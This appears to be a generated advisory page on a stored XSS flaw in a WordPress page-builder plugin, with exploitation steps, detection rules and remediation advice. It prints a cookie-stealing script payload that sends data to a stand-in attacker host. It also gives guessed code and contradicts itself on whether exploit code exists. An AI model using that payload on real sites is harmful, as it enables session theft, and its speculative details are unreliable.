CVE-2024-4400
Executive Summary
CVE-2024-4400 is a Stored Cross-Site Scripting (XSS) vulnerability in the Post and Page Builder by BoldGrid – Visual Drag and Drop Editor plugin for WordPress, affecting versions up to and including 1.26.4. The vulnerability arises from insufficient input sanitization and output escaping on an unknown parameter, allowing authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, potentially leading to session hijacking, defacement, or data theft. The CVSS score is 6.4 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood currently. No public exploit code or patch is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates from the vendor. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. Exploitation requires authenticated access with contributor privileges, but the impact is limited to low-level data exposure and script injection. No active exploitation has been observed.
Deep Dive & Mechanics
The vulnerability resides in the BoldGrid Post and Page Builder plugin, which provides a drag-and-drop editor for WordPress. The plugin fails to properly sanitize user input and escape output when processing an unknown parameter (likely related to custom HTML blocks or widget content). An authenticated attacker with contributor-level permissions can inject malicious JavaScript into a page or post. When an administrator or other user views the injected page, the script executes in their browser context, enabling actions such as:
- Stealing session cookies
- Redirecting users to malicious sites
- Defacing the page
- Performing actions on behalf of the victim (e.g., creating admin accounts)
The root cause is the lack of proper escaping when rendering user-supplied content within the editor's output. The plugin likely uses echo or print without applying WordPress's esc_html() or wp_kses() functions.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (hypothetical):
// In boldgrid-editor/includes/class-boldgrid-editor.php
function render_custom_block($content) {
echo $content; // No sanitization or escaping
}
Patched Code (hypothetical):
function render_custom_block($content) {
echo esc_html($content); // Escapes HTML entities
}
The patched version would use esc_html() or wp_kses_post() to strip or escape malicious scripts.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with BoldGrid Post and Page Builder <= 1.26.4
- Contributor-level account credentials
Exploitation Steps:
- Log in as a contributor.
- Create a new page or post using the BoldGrid editor.
- Insert a custom HTML block or widget.
- Inject the following payload into the block:
<script>alert('XSS');</script> - Save and publish the page.
- When an administrator visits the page, the script executes.
Advanced Payload (session cookie theft):
<script>document.location='http://attacker.com/steal.php?c='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual page/post content containing
<script>tags or event handlers. - Review logs for contributor-level users creating pages with suspicious HTML.
- Use WAF rules to block common XSS patterns.
Hunting:
- Search database for posts containing
/<script.*?>.*?<\/script>/iinpost_content. - Check for recent pages created by contributor accounts with unusual content.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
attacker.com/steal.phpor similar exfiltration endpoints. - Host: WordPress database entries in
wp_postscontaining<script>tags. - File: Modified plugin files (if attacker uploads malicious code).
- Log: Access logs showing requests to pages with injected scripts.
Detection Engineering
YARA Rule
rule CVE_2024_4400_BoldGrid_XSS {
meta:
description = "Detects stored XSS payloads in BoldGrid plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-4400"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2024-4400 BoldGrid Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in WordPress BoldGrid plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.response.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-4400 BoldGrid Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the BoldGrid Post and Page Builder plugin until a patch is released.
- Restrict contributor-level accounts to trusted users only.
- Implement a Web Application Firewall (WAF) with XSS rules.
Long-term Fix:
- Apply the vendor patch when available (monitor WordPress plugin repository).
- Upgrade to version > 1.26.4 once released.
Workarounds:
- Use a security plugin like Wordfence to block XSS payloads.
- Manually sanitize user input via custom code if plugin modification is possible.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.